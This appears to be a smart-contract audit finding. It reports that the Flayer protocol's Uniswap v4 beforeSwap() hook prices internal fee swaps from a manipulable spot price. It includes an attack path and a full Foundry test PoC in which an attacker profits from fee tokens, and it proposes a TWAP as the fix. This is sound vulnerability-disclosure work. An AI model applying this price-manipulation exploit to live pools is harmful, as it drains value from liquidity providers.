Large Mauve Parrot

Medium

# Collection tokens fees price can be manipulated in the `beforeSwap()` hook

### Summary

An attacker can get collection tokens stored as fees in the hook for cheaper than they should because the spot price, which can be manipulated, is used to determine the amounts to pay.

### Root Cause

The [UniswapImplementation::beforeSwap()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L490) hook can swap native tokens for collection tokens internally. To calculate the swaps amounts the spot price is used:

```solidity
(uint160 sqrtPriceX96,,,) = poolManager.getSlot0(poolId);
...
(, ethIn, tokenOut, ) = SwapMath.computeSwapStep({
@>  sqrtPriceCurrentX96: sqrtPriceX96,
    sqrtPriceTargetX96: params.sqrtPriceLimitX96,
    liquidity: poolManager.getLiquidity(poolId),
    amountRemaining: int(amountSpecified),
    feePips: 0
});
```

The spot price can be manipulated, resulting in attackers being able to get native tokens held by the hook as fees for cheaper than market value.

### Internal pre-conditions

1. The hook accumulated enough collection token fees to cover the costs of manipulating the price. The cost of manipulating the price depends on the fees and the amount of liquidity in the pool.

### External pre-conditions

_No response_

### Attack Path

1. The hook accumulated some collection token fees.
2. Eve swaps collection tokens for native tokens in order to lower the spot price of collection tokens. This doesn't trigger any internal swaps because internal swaps are only triggered when swapping native tokens for collection tokens.
3. Eve swaps back all of the received native tokens for collection tokens. This triggers the internal swap. The [spot price](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L508) used by the hook is lower than it should, resulting in Eve having to pay less native tokens than she should.

Lower liquidity pools and exempted users (ie. they don't pay fees to the pool) makes this attack more likely.

### Impact

Collection token fees stored in the hook can be bought for cheaper than expected, leading to a loss for liquidity providers as they will receive less native tokens than they should.

### PoC

To copy-paste in `UniswapImplementation.t.sol`:
```solidity
function test_Slot0Manipulation() public {
        address alice = makeAddr("alice");
        address eve = makeAddr("eve");

        ERC721Mock erc721 = new ERC721Mock();
        CollectionToken ctoken = CollectionToken(locker.createCollection(address(erc721), 'ERC721', 'ERC', 0));




        //### APPROVALS
        //-> Alice approvals
        vm.startPrank(alice);
        erc721.setApprovalForAll(address(locker), true);
        ctoken.approve(address(poolSwap), type(uint256).max);
        ctoken.approve(address(uniswapImplementation), type(uint256).max);
        vm.stopPrank();
        _approveNativeToken(alice, address(locker), type(uint).max);
        _approveNativeToken(alice, address(poolManager), type(uint).max);
        _approveNativeToken(alice, address(poolSwap), type(uint).max);

        //-> Eve approvals
        vm.startPrank(eve);
        erc721.setApprovalForAll(address(locker), true);
        ctoken.approve(address(uniswapImplementation), type(uint256).max);
        ctoken.approve(address(poolSwap), type(uint256).max);
        vm.stopPrank();
        _approveNativeToken(eve, address(locker), type(uint).max);
        _approveNativeToken(eve, address(poolManager), type(uint).max);
        _approveNativeToken(eve, address(poolSwap), type(uint).max);



        //### MINT NFTs
        //-> Mint 10 tokens to Alice
        uint[] memory _tokenIds = new uint[](10);
        for (uint i; i < 10; ++i) {
            erc721.mint(alice, i);
            _tokenIds[i] = i;
        }
        //-> Mint an extra token to Alice
        uint[] memory _tokenIdToDepositAlice = new uint[](1);
        erc721.mint(alice, 10);
        _tokenIdToDepositAlice[0] = 10;

        //-> Mint 10 tokens to Eve
        uint[] memory _tokenIdsEve = new uint[](10);
        for (uint i=11; i < 21; ++i) {
            erc721.mint(eve, i);
            _tokenIdsEve[i - 11] = i;
        }
        


        //### [ALICE] COLLECTION INITIALIZATION + LIQUIDITY PROVISION
        //-> alice initializes a collection and adds liquidity: 1e19 NATIVE + 1e19 CTOKEN
        uint256 initialNativeLiquidity = 1e19;
        _dealNativeToken(alice, initialNativeLiquidity);
        vm.startPrank(alice);
        locker.initializeCollection(address(erc721), initialNativeLiquidity, _tokenIds, 0, SQRT_PRICE_1_1);
        vm.stopPrank();



        //### [ALICE] ADDING CTOKEN FEES TO HOOK
        //-> alice deposits an NFT to get 1e18 CTOKEN and then deposits 1e18 CTOKENS as fees in the UniswapImplementation hook
        vm.startPrank(alice);
        locker.deposit(address(erc721), _tokenIdToDepositAlice, alice);
        uniswapImplementation.depositFees(address(erc721), 0, 1e18);
        vm.stopPrank();



        //### [EVE] DEPOSIT NFTS IN THE LOCKER
        //-> eve deposits 10 NFTs in order to get 1e19 CTOKENS
        vm.prank(eve);
        locker.deposit(address(erc721), _tokenIdsEve, eve);



        //### [EVE] MANIPULATE POOL PRICE AND PROFITS
        //-> eve has 0 NATIVE and 1e19 CTOKENS
        uint256 initialCTokenBalance = 1e19;
        uint256 initialNativeBalance = 0;
        assertEq(ctoken.balanceOf(eve), initialCTokenBalance);
        assertEq(WETH.balanceOf(eve), initialNativeBalance);

        //-> eve swaps 1e19 CTOKEN FOR NATIVE
        vm.startPrank(eve);
        poolSwap.swap(
            PoolKey({
                currency0: Currency.wrap(address(ctoken)),
                currency1: Currency.wrap(address(WETH)),
                fee: LPFeeLibrary.DYNAMIC_FEE_FLAG,
                tickSpacing: 60,
                hooks: IHooks(address(uniswapImplementation))
            }),
            IPoolManager.SwapParams({
                zeroForOne: true,
                amountSpecified: -int(1e19),
                sqrtPriceLimitX96: (TickMath.MIN_SQRT_PRICE + 1)
            }),
            PoolSwapTest.TestSettings({
                takeClaims: false,
                settleUsingBurn: false
            }),
            ''
        );
        vm.stopPrank();

        //-> eve has 4974874371859296482 NATIVE and 0 CTOKENS
        assertEq(ctoken.balanceOf(eve), 0);
        assertEq(WETH.balanceOf(eve), 4974874371859296482);

        //-> eve swaps `4974874371859296482` NATIVE tokens for CTOKENS
        vm.startPrank(eve);
        poolSwap.swap(
            PoolKey({
                currency0: Currency.wrap(address(ctoken)),
                currency1: Currency.wrap(address(WETH)),
                fee: LPFeeLibrary.DYNAMIC_FEE_FLAG,
                tickSpacing: 60,
                hooks: IHooks(address(uniswapImplementation))
            }),
            IPoolManager.SwapParams({
                zeroForOne: false,
                amountSpecified: -int(WETH.balanceOf(eve)),
                sqrtPriceLimitX96: (TickMath.MAX_SQRT_PRICE - 1)
            }),
            PoolSwapTest.TestSettings({
                takeClaims: false,
                settleUsingBurn: false
            }),
            ''
        );

        //-> eve has 0 NATIVE and `10576918934541439301` CTOKENS
        assertEq(ctoken.balanceOf(eve), 10576918934541439301);
        assertEq(WETH.balanceOf(eve), 0);

        //-> eve profits `0` NATIVE and `576918934541439301`CTOKEN 
        uint256 ctokenProfit = ctoken.balanceOf(eve) - initialCTokenBalance;
        uint256 nativeProfit = WETH.balanceOf(eve) - initialNativeBalance;
        assertEq(ctokenProfit, 576918934541439301);
        assertEq(nativeProfit, 0);
    }
```

### Mitigation

Use a time-weighted price average instead of the spot price.